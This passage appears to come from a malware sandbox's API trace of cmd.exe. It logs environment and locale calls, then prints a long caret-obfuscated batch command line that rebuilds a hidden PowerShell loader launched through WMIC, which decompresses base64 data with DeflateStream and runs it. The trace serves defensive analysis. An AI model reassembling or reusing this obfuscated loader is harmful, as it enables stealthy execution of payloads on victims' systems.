lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0084.766] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0084.766] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0084.766] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.766] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0084.766] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0084.766] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0084.766] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0084.766] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0084.766] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0084.766] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0084.766] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0084.766] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0084.766] GetEnvironmentStringsW () returned 0x19cc20* [0084.766] FreeEnvironmentStringsW (penv=0x19cc20) returned 1 [0084.766] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.766] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.767] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0084.767] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0084.767] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0084.767] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0084.767] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0084.767] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0084.767] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0084.767] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0084.767] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f930 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0084.767] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f930, lpFilePart=0x16f910 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x16f910*="Desktop") returned 0x19 [0084.767] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0084.767] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f640 | out: lpFindFileData=0x16f640) returned 0x1a0600 [0084.767] FindClose (in: hFindFile=0x1a0600 | out: hFindFile=0x1a0600) returned 1 [0084.767] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x16f640 | out: lpFindFileData=0x16f640) returned 0x1a0600 [0084.767] FindClose (in: hFindFile=0x1a0600 | out: hFindFile=0x1a0600) returned 1 [0084.768] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x16f640 | out: lpFindFileData=0x16f640) returned 0x1a0600 [0084.768] FindClose (in: hFindFile=0x1a0600 | out: hFindFile=0x1a0600) returned 1 [0084.768] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0084.768] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0084.768] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0084.768] GetEnvironmentStringsW () returned 0x19fad0* [0084.768] FreeEnvironmentStringsW (penv=0x19fad0) returned 1 [0084.768] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d8c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0084.769] GetConsoleOutputCP () returned 0x1b5 [0084.769] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0084.769] GetUserDefaultLCID () returned 0x409 [0084.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49d87b50, cchData=8 | out: lpLCData=":") returned 2 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16fa40, cchData=128 | out: lpLCData="0") returned 2 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16fa40, cchData=128 | out: lpLCData="0") returned 2 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16fa40, cchData=128 | out: lpLCData="1") returned 2 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49d9a740, cchData=8 | out: lpLCData="/") returned 2 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49d9a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49d9a460, cchData=32 | out: lpLCData="Tue") returned 4 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49d9a420, cchData=32 | out: lpLCData="Wed") returned 4 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49d9a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49d9a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49d9a360, cchData=32 | out: lpLCData="Sat") returned 4 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49d9a700, cchData=32 | out: lpLCData="Sun") returned 4 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49d87b40, cchData=8 | out: lpLCData=".") returned 2 [0084.770] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49d9a4e0, cchData=8 | out: lpLCData=",") returned 2 [0084.770] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0084.771] GetConsoleTitleW (in: lpConsoleTitle=0x19d7c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.771] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0084.771] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0084.771] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0084.771] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0084.774] GetEnvironmentVariableW (in: lpName="PrOGRaMFIlES", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Program Files") returned 0x10 [0084.786] wcstol (in: _String=" -7,1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*=",1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co") returned -7 [0084.786] wcstol (in: _String="1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& 